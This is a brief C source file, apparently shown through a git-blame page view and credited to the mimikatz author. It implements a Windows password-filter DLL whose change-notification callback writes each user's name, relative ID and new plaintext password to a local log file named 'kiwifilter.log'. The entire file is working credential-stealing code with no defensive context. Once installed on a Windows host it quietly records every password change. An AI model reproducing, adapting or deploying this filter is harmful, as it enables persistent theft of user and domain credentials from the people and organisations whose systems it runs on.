2014-04-06 18:31:53 +00:00
|
|
|
/* Benjamin DELPY `gentilkiwi`
|
|
|
|
http://blog.gentilkiwi.com
|
|
|
|
benjamin@gentilkiwi.com
|
2015-08-25 09:19:01 +00:00
|
|
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
2014-04-06 18:31:53 +00:00
|
|
|
*/
|
|
|
|
#include "kfilt.h"
|
|
|
|
|
|
|
|
BOOLEAN NTAPI kfilt_InitializeChangeNotify(void)
|
|
|
|
{
|
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
|
|
|
NTSTATUS NTAPI kfilt_PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword)
|
|
|
|
{
|
|
|
|
FILE * kfilt_logfile;;
|
|
|
|
#pragma warning(push)
|
|
|
|
#pragma warning(disable:4996)
|
|
|
|
if(kfilt_logfile = _wfopen(L"kiwifilter.log", L"a"))
|
|
|
|
#pragma warning(pop)
|
|
|
|
{
|
|
|
|
klog(kfilt_logfile, L"[%08x] %wZ\t", RelativeId, UserName);
|
|
|
|
klog_password(kfilt_logfile, NewPassword);
|
|
|
|
klog(kfilt_logfile, L"\n");
|
|
|
|
fclose(kfilt_logfile);
|
|
|
|
}
|
|
|
|
return STATUS_SUCCESS;
|
|
|
|
}
|